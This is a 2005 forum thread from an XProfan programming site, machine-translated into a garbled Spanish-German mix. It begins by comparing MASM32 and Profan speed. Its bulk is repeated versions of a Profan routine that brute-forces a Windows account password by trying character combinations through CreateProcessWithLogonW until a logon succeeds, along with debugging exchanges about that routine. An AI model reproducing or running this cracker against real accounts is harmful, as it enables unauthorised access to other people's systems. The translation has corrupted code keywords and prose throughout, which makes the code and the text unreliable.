Español
Stammtisch & Café

MASM32 y Profano

 
- Página 1 -


Ha alguien algo genauere Daten en wieviel MASM32 más rápido es como Profano? Sombrero el veces alguien getestet?
 
28.01.2005  
 



 
- Página 2 -



Frank
Abbing
Hi,

alles klar, mach veces. Yo sehs me a.
 
29.01.2005  
 



Schaut veces...

[...] 

Salve, IF
 
29.01.2005  
 



Besten Dank. Überschlagen ha ego ya, bloß el Tabla fehlte me todavía. Ohne Wörterbücher son also allerhöchstens 7-8 Buchstaben drin.
KompilierenMarcaSeparación
Die Prozedur PWCHECK soll in die DLL

Proc PWCHECK

    Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
    1.Parameter=zu startendes Programm
    2.Parameter=Name des Users dessen Passwort ermittelt werden soll
    3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
    4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
    5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
    6.Parameter=Passwort, falls schon bekannt
    7.Parameter=Wo soll das Passwort ausgegeben werden?
    8.Parameter=Anzahl der durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declare lpStartupinfo#,lpProcessInformation#,lpCommandLine#
    Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declare Anfangszeichen#,Zeichen#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    Dim lpCommandLine#,(@len(PPPR$)*2)+1
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Zeichen#,300
    Bei der LSA besonders wichtig - alle Variablen mit Null füllen
    Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Clear lpStartupinfo#,lpProcessInformation#,lpCommandLine#
    Clear Anfangszeichen#,Zeichen#
    Strings werden in Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Zeichen#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    Long lpStartupInfo#,0=68
    In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
    @External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    LET StartZeit$=@TIME$(0) Kann evtl. weg
    LET STARTDATUM$=@DATE$(0) Kann evtl. weg
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Ich wandele hier die Strings in Unicode Strings um
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
     $D "",PWWORT$

    WHILENOT ENDE%

        SET("FastMode",0) Streichen
        Vierzig Buchstaben reicht

        IF COUNT%>Buchstaben&

            LET ENDE%=1

        endif

        Wenn im Hauptfenster Abbruch gedrückt wurde soll beendet werden

        IF @GT(sendmessage(Button&,$00F2,0,0),40)

            Messagebox wäre schön, muß aber nicht sein
            LET PANTWORT%=@MESSAGEBOX("Test befindet sich im Augenblick bei "+@STRING$(pw#,0)+".
            Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.","Wollen Sie den Test wirklich abbrechen?",292)
            CASE PANTWORT%=6 : LET ENDE%=1

        ENDIF

        SET("FastMode",1)
        Alle möglichen Bustabenkombinationen sollen durchgegangen werden

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            else

                LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)

                WEND

            else

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        Ich brauche wieder einen Unicode String
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(PW2$),-1,PPASSWORT#,256)
        Die Funktion gibt nur 1 zurück, wenn das Passwort richtig war
        LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

        CASE COUNT%=0 : LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    DISPOSE lpCommandLine#
    Settext Ausgabefenster&,PW$

ENDPROC

Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Whilenot @or(@GT(@sendmessage(Start&,$00F2,0,0),40),%MENUITEM=-2)

    Waitinput

WEND

Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK $WINPATH+"NOTEPAD.EXE",IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz
,"",Edit&,7 Usecursor 0

Tal vez podría uno una Kombination de beidem uso...
 
29.01.2005  
 




Frank
Abbing
Hi,

dein Codoe produziert Deklarierungsfehler y Buttons voluntad ya aktiviert, si la Ratón darüber fährt. Ausserdem se ejecuta lo ewig más, incluso en Minipasswörtern como z.B. F.
Schaus doch veces después de.

Wenn por lo tanto va, el Tiempo veces a testen, kann Me gusta una kurzen Test con Masm escribir.

Noch una Cuestión: Soll el Función gefundene Signo abhacken? Also el erste Signo en Gleichheit absuchen, el el Zweite, usw..
Oder todos Buchstaben siempre más durchdrehen, a el beiden Passwörter irgenwann igual son?
 
29.01.2005  
 



¡Hola Franco...

Besten Dank, daß du dir el código ya veces angesehen hast. Como Yo me wirlich algunos Anfängerschnitzer instalado.
- Einen Variablennamen falso geschrieben,
- una überflüssige Addition drin,
- XP Neuerungen no bedacht,
- Variable no correcto gelöscht

Yo voluntad veces hoffen, daß el Message para el Buttonabfrage bajo XP se no geändert ha (lo son en cada Fall Werte dazugekommen) - sonst nimm a Not en Profano @GETFOCUS. Yo hätte me eigentlich denken puede, daß el así no klappt => euer Problema con el ToolTipps bajo XP.

El Fehlermeldung en CreateProcessWithLogonW war algo komplizierter. Wenn uno no cada vez vorher dien Inhalt el zwei letzten Parámetro löscht, kann lo vorkommen (je después de el, qué sonst todavía Texto en el Code es), daß esta Variables con Sinnlosem Code gefüllt voluntad. Sie necesario deshalb cada vez antes el Aufruf el Función en Null gesetzt voluntad (stand auch ya en el Ver código fuente).

Yo voluntad veces hoffen el lo ahora en dir funktioniert y yo no todavía mehr Mist instalado habe:
El Procedimiento PWCHECK se en el DLL

Proc PWCHECK

    Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
    1.Parámetro=a startendes Programa
    2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
    3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
    4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
    5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
    6.Parámetro=Contraseña, si ya bekannt
    7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
    8.Parámetro=Anzahl el durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declarar lpStartupinfo#,lpProcessInformation#
    Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declarar Anfangszeichen#,Signo#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Signo#,300
    En el LSA besonders wichtig - todos Variables con Null füllen
    Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
    @Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Cuerdas voluntad en Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Signo#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
    @Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    LET StartZeit$=@TIME$(0) Kann evtl. weg
    LET STARTDATUM$=@DATE$(0) Kann evtl. weg
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Yo wandele hier el Cuerdas en Unicode Cuerdas en
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Largo lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0) Streichen
        Vierzig Buchstaben reicht

        IF COUNT%>Buchstabenanzahl&

            LET ENDE%=1

        endif

        Wenn en el Ventana principal Abbruch gedrückt wurde se final voluntad

        IF @sendmessage(Button&,$00F2,0,0)=108

            Messagebox wäre schön, muß aber no ser
            LET PANTWORT%=@MESSAGEBOX("Test befindet se en el Augenblick en "+@STRING$(pw#,0)+".
            Test wurde al "+STARTDATUM$+" en "+StartZeit$+" comenzó.","Wollen Sie el Test wirklich abbrechen?",292)
            CASE PANTWORT%=6 : LET ENDE%=1

        ENDIF

        SET("FastMode",1)
        Alle möglichen Bustabenkombinationen debería durchgegangen voluntad

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            más

                LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

                WEND

            más

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        Yo brauche otra vez una Unicode String
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        El Función son sólo 1 zurück, si el Contraseña correcto war
        SET("FastMode",0)
        @Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
        @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Largo lpStartupInfo#,0=68
        LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput

WEND

Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0

Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto.
 
30.01.2005  
 




Frank
Abbing
Hi,

[quote:806como4d370]Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto.[/quote:806como4d370]
Sí, verstanden.

Su Progrämmchen findet después de como antes nichts. Der Abbruch-Button ha auch no Wirkung.
Hab momentan no viel Tiempo, pero yo mach el Assemblersuchen fertig, si otra vez va.
 
30.01.2005  
 



¡Hola Franco...

Usted mußt deinen Accountnamen eingeben, no el Namen, el dir WindowsXP anzeigt. Schau veces en el Ordner Dokunente y Einstellungen después de el hay vorhandenen Verzeichnisnamen, el son el bajo anderem el Accountnamen. Außerdem Tuve todavía una falschen Parámetro en MultiByteToWideChar drin. El 2 muß weg y una 0 rein (Yo ändere lo oben).
Hier veces todavía qué con Anzeigeoption:
El Procedimiento PWCHECK se en el DLL

Proc PWCHECK

    Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
    1.Parámetro=a startendes Programa
    2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
    3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
    4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
    5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
    6.Parámetro=Contraseña, si ya bekannt
    7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
    8.Parámetro=Anzahl el durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declarar lpStartupinfo#,lpProcessInformation#
    Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declarar Anfangszeichen#,Signo#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Signo#,300
    En el LSA besonders wichtig - todos Variables con Null füllen
    Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
    @Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Cuerdas voluntad en Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Signo#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
    @Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Yo wandele hier el Cuerdas en Unicode Cuerdas en
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Largo lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0)

        IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)

            LET ENDE%=1

        ENDIF

        SET("FastMode",1)

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            más

                LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

                WEND

            más

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
        @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Largo lpStartupInfo#,0=68
        LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput
    Case %MENUITEM=-2 : FIN

WEND

Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Localizar 20,0
Imprimir "Funktion wurde al "+@Date$(1)+" en "+@TIME$(0)+" Uhr comenzó..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText $(Ba&),@GetText $(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
 
30.01.2005  
 



Ach sí...

BUTTON :roll:

Dazu veces una Test:
cls
Declarar Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)

Mientras que 0=0

    Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+"                          "
    sleep 10

wend


El Message Fragt el Status des Buttons de. Folgende Werte son ellos en me zurück:
- Button no gedrückt=0
- Mauscursor liegt en Button=keine Änderung
- Button gedrückt=108
- Foco liegt en Button=8
- Foco liegt no en Button=0

Yo habe el Verdacht el XProfan con Manifest hier otro y todavía mehr Werte zurückgiebt. Wenn sí, dürfte el auch el Grund para el Tooltipp Problema bajo XP ser...
 
30.01.2005  
 




Frank
Abbing
Hi,

Aber el Tooltippgeschichte se doch de Windows verwaltet...
 
30.01.2005  
 



[quote:c026f5de54]
Aber el Tooltippgeschichte se doch de Windows verwaltet...
[/quote:c026f5de54]
Der Status des Buttons doch auch, oder? Yo gehe veces bastante stark su de, daß el Status des Buttons, si él todavía no gedrückt wurde y Mauscursor en ihm ruht no 512 es - es el correcto?
Exactamente como liegt wohl el problema con el Tooltipps - Yo kanns por desgracia, no testen, pero yo denke Yo tener bastante.

PS: Entfern el Manifest y mein Ver código fuente se ejecuta.
 
30.01.2005  
 




Frank
Abbing
Hi,

Usted irrst dich. Er es entonces 512. Como ya geschrieben
Hab el MASM-Code fertig y poste ihn igual.
 
30.01.2005  
 




Frank
Abbing
Hi,

así, hier el Testprogramm. Passwörter necesario Großbuchstaben ser. El Veces para Errechnen decken se con el Werten de el Webpage, el IF hier Nuevo hatte, para 26él Passwörter.

Der Assemblercode es todavía no optimiert y benutzt para Vergleich el Cuerdas el API lstrcmp(), el aber muy rápidamente arbeitet.

2 kB
Hochgeladen:30.01.2005
Ladeanzahl165
Descargar
 
30.01.2005  
 




Respuesta


Título del Tema, max. 100 Signo.
 

Systemprofile:

Kein Systemprofil creado. [anlegen]

XProfan:

 Contribución  Font  Smilies  ▼ 

Bitte registro en una Contribución a verfassen.
 

Tema opciones

26.137 Views

Untitledvor 0 min.

Themeninformationen



Admins  |  AGB  |  Applications  |  Autores  |  Chat  |  Política de Privacidad  |  Descargar  |  Entrance  |  Ayuda  |  Merchantportal  |  Pie de imprenta  |  Mart  |  Interfaces  |  SDK  |  Services  |  Juegos  |  Búsqueda  |  Support

Ein Projekt aller XProfan, el lo son!


Mi XProfan
Privado Noticias
Eigenes Ablageforum
Temas-Merkliste
Eigene Beiträge
Eigene Temas
Zwischenablage
Cancelar
 Deutsch English Français Español Italia
Traducciones

Política de Privacidad


Wir uso Cookies sólo como Session-Cookies wegen el technischen Notwendigkeit y en uns hay no Cookies de Drittanbietern.

Wenn du hier en unsere Webseite klickst oder navigierst, stimmst du unserer Erfassung de Informationen en unseren Cookies en XProfan.Net a.

Weitere Informationen a unseren Cookies y dazu, como du el Kontrolle darüber behältst, findest du en unserer nachfolgenden Datenschutzerklärung.


einverstandenDatenschutzerklärung
Yo möchte no Cookie